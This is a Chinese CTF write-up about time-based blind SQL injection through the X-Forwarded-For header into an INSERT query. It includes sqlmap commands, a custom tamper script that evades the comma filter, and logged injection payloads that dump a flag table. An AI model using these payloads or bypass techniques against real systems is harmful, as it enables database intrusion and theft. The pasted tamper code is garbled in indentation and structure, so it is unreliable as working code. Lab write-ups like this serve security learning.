

mysql insert 注入_SQLMap Insert注入踩坑记

原创

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文章标签: mysql insert 注入

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前言

本篇文章是在做ctf bugku的一道sql insert盲注的题(题目地址:insert盲注)中踩到的坑, 觉得还挺有趣的, 于是便有了今天的文章, 如有纰漏还望大佬们多多指正。

进入主题

1. 判断注入点

```
$ip = $_SERVER['REMOTE_ADDR'];
}

$ip_arr = explode(".", $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to
connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
```

Flag

Submit

明显的insert类型的注

入, 注入点在X-Forwarded-For, 但关闭了错误提示并且没有回显, 因此只能进行时间盲注获取flag。

2. 使用sqlmap获取数据(首先说明一下，网上有这道题的writeup,编写python脚本暴库，但懒人表示能sqlmap就sqlmap吧，虽然可能需要踩坑。)

(1)直接使用sqlmap看看能否判断
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL

```
[*] [14:26:41] [DEBUG] skipping test 'MySQL UNION query (random number) - 81 to 100 columns' because the user specified to test only for techniques
[*] [14:26:41] [INFO] checking if the injection point on (custom) HEADER parameter 'X-Forwarded-For #1*' is a false positive
[*] [14:26:41] [PAYLOAD] ' OR 6634=IF((58=58),SLEEP(5),6634) AND 'GTiD'=GTiD
[*] [14:26:41] [WARNING] false positive or unexploitable injection point detected
[*] [14:26:41] [WARNING] (custom) HEADER parameter 'X-Forwarded-For #1*' does not seem to be injectable. Try to increase values for '--level'/'--risk' options in tests. Rerun without providing the option '--technique'
[*] [14:26:41] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options in tests. Rerun without providing the option '--technique'
[*] ending @ 14:26:41 /2018-11-04/
```

可以看到sqlmap识别为false positive，原因是图片中箭头所指的payload:' OR 6634=IF((58=58),SLEEP(5),6634) AND 'GTiD'='GTiD中使用了逗号(,)，而insert注入中使用了逗号则会破坏语句结构，因此这里相当于过滤了逗号。

(2)编写tamper脚本(if2casewhen.py)改写IF类型的判断为CASE-WHEN可以不使用逗号。

看了一遍tamper脚本发现没有这个改写规则，于是就只能自立更生了。#!/usr/bin/env python

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```
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    *****
```

Replaces instances like 'IF(A,B,C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart

Requirement:

- * MySQL
- * SQLite (possibly)
- * SAP MaxDB (possibly)

Tested against:

- * MySQL 5.0 and 5.5

Notes:

* Useful to bypass very weak and bespoke web application firewalls

that filter the IFNULL() functions

```
>>> tamper('IF(1=1,1,2)')
```

'CASE WHEN (1=1) THEN (1) ELSE (2) END'

'''

```
if payload and payload.find("IF") > -1:  
    while payload.find("IF(") > -1:  
        index = payload.find("IF(")  
        depth = 1  
        comma1,comma2, end =None, None, None  
        for i in xrange(index + len("IF("), len(payload)):  
            if depth == 1 and payload[i] == ',' and comma1 is None:  
                comma1 = i  
                #the seccond comma  
            if depth == 1 and payload[i] == ',' and comma1 is not None:  
                comma2 = i  
                elif depth == 1 and payload[i] == ')':  
                    end = i  
                    break  
                elif payload[i] == '(':  
                    depth += 1  
                elif payload[i] == ')':  
                    depth -= 1  
                if comma1 and comma2 and end:  
                    _ = payload[index + len("IF("):comma1]  
                    __= payload[comma1+1:comma2]  
                    ___ = payload[comma2 + 1:end].lstrip()  
                    newVal = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)" % (_ , __, ___)  
                    payload = payload[:index] + newVal + payload[end + 1:]  
                else:  
                    break  
    return payload
```

使用tamper再跑一遍python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen

```

[15:09:19] [PAYLOAD] . OR 9654=(CASE WHEN ((27=27)) THEN (SLEEP(5)) ELSE (9654) END) AND 'DmMT'='DmMT
[15:09:24] [PAYLOAD] . OR 8819=(CASE WHEN ((27=53)) THEN (SLEEP(5)) ELSE (8819) END) AND 'MJhs'='MJhs
[15:09:24] [PAYLOAD] . OR 2686=(CASE WHEN ((27=96)) THEN (SLEEP(5)) ELSE (2686) END) AND 'gHrg'='gHrg
[15:09:24] [PAYLOAD] . OR 1578=(CASE WHEN ((96=53)) THEN (SLEEP(5)) ELSE (1578) END) AND 'TPiy'='TPiy
[15:09:24] [PAYLOAD] . OR 9555=(CASE WHEN ((53=53)) THEN (SLEEP(5)) ELSE (9555) END) AND 'zSLB'='zSLB
[15:09:29] [PAYLOAD] . OR 9136=(CASE WHEN ((96=53)) THEN (SLEEP(5)) ELSE (9136) END) AND 'iTyg'='iTyg
[15:09:30] [PAYLOAD] . OR 6742=(CASE WHEN ((12=12)) THEN (SLEEP(5)) ELSE (6742) END) AND 'zcze'='zcze
[15:09:35] [PAYLOAD] . OR 3408=(CASE WHEN ((12=46)) THEN (SLEEP(5)) ELSE (3408) END) AND 'ofBo'='ofBo
[15:09:35] [PAYLOAD] . OR 1945=(CASE WHEN ((12=80)) THEN (SLEEP(5)) ELSE (1945) END) AND 'LNTU'='LNTU
[15:09:35] [PAYLOAD] . OR 5907=(CASE WHEN ((80=46)) THEN (SLEEP(5)) ELSE (5907) END) AND 'Bwgo'='Bwgo
[15:09:35] [PAYLOAD] . OR 8047=(CASE WHEN ((46=46)) THEN (SLEEP(5)) ELSE (8047) END) AND 'OHB'='OHB
[15:09:40] [PAYLOAD] . OR 3794=(CASE WHEN ((80 46)) THEN (SLEEP(5)) ELSE (3794) END) AND 'XHEj'='XHEj
[15:09:40] [DEBUG] checking for filtered characters
[15:09:40] [PAYLOAD] . OR 9417=(CASE WHEN ((3474>3473)) THEN (SLEEP(5)) ELSE (9417) END) AND 'aAmr'='aAmr
(custom) HEADER parameter 'X-Forwarded-For #1' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:

```

可以看到成功识别为

vulnerable,payload中的if语句也成功转换为case-when语句。

(3)试试看跑数据库呢python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen --dbs

```

sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:

```

可以看到由于使用了函

数mid 和 ifnull也需要用到逗号，因此无法获取数据库名，所幸sqlmap的tamper脚本里有了可以不使用逗号的mid和ifnull的改写规则：

ifnull2casewhenisnull.py: MID(VERSION(), 1, 1) =====> MID(VERSION() FROM 1 FOR 1)

commalessmid.py: IFNULL(1, 2) =====> CASE WHEN ISNULL(1) THEN (2) ELSE (1) END

添加上述两个tamper再跑一次看看python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid --dbms MySQL --dbs --nocast

```

[15:46:11] [INFO] retrieved: web15
[15:46:11] [DEBUG] performed 48 queries in 82.74
available databases [1]:
[*] web15

```

可以看到成功跑出数据库 web15

(4)试试看跑表python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 --tables MySQL --dbs --nocast

```
[15:55:00] [PAYLOAD] , OR 5105=(CASE WHEN ((EXISTS
[15:55:00] [PAYLOAD] , OR 6940=(CASE WHEN ((EXIST
Database: web15
[2 tables]
+-----+
| experiment |
| flag        |
+-----+
```

使用爆破的方式跑表成功爆出两张表

(5)跑flag表的列以及数据python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 -T flag --dump MySQL --dbs --nocast

```
END) AND 'iLbC' = iLbC
[16:16:25] [PAYLOAD] ' OR 7599=(CASE WHEN ((ORD(MID((SELECT flag FROM web15.flag ORDER BY flag LIMIT 0,1) FROM 1 FOR 1))>206578)) THEN
END) AND 'iLbC' = iLbC
(done)
[16:16:26] [PAYLOAD] ' OR 7599=(CASE WHEN ((ORD(MID((SELECT flag FROM web15.flag ORDER BY flag LIMIT 0,1) FROM 1 FOR 1))>32)) THEN (SLE
) AND 'iLbC' = iLbC
[16:16:26] [PAYLOAD] ' OR 7599=(CASE WHEN ((ORD(MID((SELECT flag FROM web15.flag ORDER BY flag LIMIT 0,1) FROM 1 FOR 1))>1)) THEN (SLEE
AND 'iLbC' = iLbC
[16:16:26] [INFO] retrieved:
[16:16:26] [DEBUG] performed 3 queries in 2.66 seconds
[16:16:26] [DEBUG] analyzing table dump for possible password hashes
Database: web15
Table: flag
[1 entry]
+-----+
| flag |
+-----+
```

可以看到爆破除了列

名，但由于limit使用了逗号也导致了无法获取列数据，sqlmap tamper中还有么？

没错，就是commalesslimit.py，改写规则如下:LIMIT 2, 3 =====> LIMIT 3 OFFSET 2

加上该tamper再跑一次python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid, commalesslimit -D web15 -T flag --dump MySQL --dbs --nocast

```
1678) END) AND 'IxHs' = IxHs
[16:21:26] [PAYLOAD] ' OR 1678=(CASE WHEN ((ORD(MID((SELECT flag FROM web15.flag ORDER BY flag LIMIT 1 OFFSET 0) FR
678) END) AND 'IxHs' = IxHs
[16:21:27] [PAYLOAD] ' OR 1678=(CASE WHEN ((ORD(MID((SELECT flag FROM web15.flag ORDER BY flag LIMIT 1 OFFSET 0) FR
78) END) AND 'IxHs' = IxHs
[16:21:27] [INFO] retrieved: cdbf14c9551d5be5612f7bb5d2867853
[16:21:27] [DEBUG] performed 263 queries in 117.52 seconds
[16:21:27] [DEBUG] analyzing table dump for possible password hashes
[16:21:27] [INFO] recognized possible password hashes in column 'flag'.
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: web15
Table: flag
[1 entry]
+-----+
| flag |
+-----+
| cdbf14c9551d5be5612f7bb5d2867853 |
```

可以看到成功注入flag。

总结

insert注入其实也是可以sqlmap一把梭的，关键看payload的定制和改写=。=

*本文原创作者：Conan，本文属 FreeBuf 原创奖励计划，未经许可禁止转载